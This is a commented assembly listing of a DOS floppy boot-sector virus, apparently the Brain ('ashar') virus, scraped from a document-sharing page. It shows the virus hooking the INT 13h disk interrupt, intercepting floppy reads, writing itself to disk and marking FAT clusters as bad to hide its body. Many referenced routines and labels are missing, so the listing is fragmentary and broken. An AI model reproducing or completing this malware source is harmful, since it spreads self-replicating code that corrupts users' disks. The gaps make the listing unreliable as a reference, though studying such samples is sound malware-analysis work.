Documentos de Académico
Documentos de Profesional
Documentos de Cultura
; the program requires an origin address of 7c00h for the first sector
; to load and run as a boot sector.
ram segment at 0
; system data
org 4ch
bw004c dw ? ; interrupt 19 (13h) offset
bw004e dw ? ; interrupt 19 (13h) segment
org 1b4h
bw01b4 dw ? ; interrupt 109 (6dh) offset
bw01b6 dw ? ; interrupt 109 (6dh) segment
org 413h
bw0413 dw ? ; total ram size
ram ends
start: cli
jmp bp0010
db 4 dup (0)
bp0030: push cx
push bx
mov cx,4 ; number of retries
bp0040: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 13h ; disk i/o
jb bp0045 ; branch if error
mov dh,curhed+7c00h ; get head number
mov dl,0 ; drive a
mov cx,curtrs+7c00h ; get current track and sector
mov ax,201h ; read one sector
int 13h ; disk i/o
jnb bp0050 ; return if no error
bp0045: pop cx ; recover number of retries
loop bp0040 ; retry
int 18h ; basic loader
bp0050: pop cx
pop bx
pop cx
ret
ifncnt db 4 ; count
drivno db 1 ; drive number
; install interrupts
assume ds:ram
bp0090: mov ifncnt,1fh ; set up initial count
xor ax,ax ; \ address zero
mov ds,ax ; /
mov ax,bw004c ; get int 13h offset
mov bw01b4,ax ; store as int 6dh offset
mov ax,bw004e ; get int 13h segment
mov bw01b6,ax ; store as int 6dh segment
mov ax,offset bp0120 ; get address of int 13h routine
mov bw004c,ax ; put in int 13h offset
mov ax,cs ; get segment
mov bw004e,ax ; put in int 13h segment
nop
bp0120: sti
cmp ah,2 ; test for read
jne bp0240 ; pass to bios if not
cmp dl,2 ; test drive number
ja bp0240 ; pass to bios if not floppy
cmp ch,0 ; test track number 0
jne bp0130 ; branch if not
cmp dh,0 ; test head number 0
je bp0150 ; branch if yes
bp0130: dec ifncnt ; decrement count
jne bp0240 ; pass to bios if count not zero
bp0180: pop cx
mov ax,word ptr cs:store+4 ; get identification number
cmp ax,1234h ; see if already installed
je bp0220 ; branch if yes
; instal virus
bp0190: push ds
push es
mov ax,cs ; \
mov ds,ax ; ) make segment regs equal
mov es,ax ; /
push si
call bp0640 ; write virus to disk
jb bp0200 ; branch if error
call bp0480 ; process root directory
bp0200: pop si
pop es
pop ds
jnb bp0220 ; branch if no error
bp0210: mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
bp0220: pop dx
pop cx
pop bx
pop ax
bp0240: int 6dh ; original disk i/o interrupt
retf 2 ; end of interrupt
db 12 dup (0)
assume ds:code
; get fats
; mark clusters
bp0330: push cx
push dx
mov si,offset store ; address boot sector store
mov al,cl ; copy entry number
shr al,1 ; bottom bit to carry flag
jb bp0340 ; branch if entry is even
call bp0390 ; calculate fat entry disp
mov ax,[bx+si] ; load entry
and ax,0f000h ; clear fat entry
or ax,0ff7h ; bad cluster
jmp bp0350
bp0360: push cx
mov si,offset store ; address boot sector store
mov al,cl ; copy entry number
shr al,1 ; bottom bit to carry flag
jb bp0370 ; branch if entry is even
call bp0390 ; calculate fat entry disp
mov ax,[bx+si] ; load entry
and ax,0fffh ; isolate fat entry
jmp bp0380
bp0390: push dx
mov ax,3 ; length of 2 fat entries
mul cx ; multiply by number
shr ax,1 ; divide by two
mov bx,ax ; save result
pop dx
ret
; read fats
; write fats
bp0450: pop cx
ret
db 6 dup (0)
; this section decrypts to ' (c) ashar ' by taking the complement of
; each character and adding one
bp0630: pop cx
ret
db 9 dup (0)
numsec dw 4
axstor dw 301h ; ax store (sub-function,
; read a sector
; write a sector
bp0690: push bx
mov cx,4 ; number of retries
bp0700: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
jb bp0705 ; branch if error
mov dh,curhed ; current head number
mov dl,drivno ; get drive number
mov cx,curtrs ; current track and sector
mov ax,cs
push es
mov es,ax
mov ax,axstor ; get sub-function
int 6dh ; original disk i/o interrupt
pop es
jnb bp0710 ; branch if no error
bp0705: pop cx ; recover number of retries
loop bp0700 ; retry
pop bx
pop bx
stc ; indicate error condition
ret
bp0710: pop cx
pop bx
ret
store equ $
code ends
end start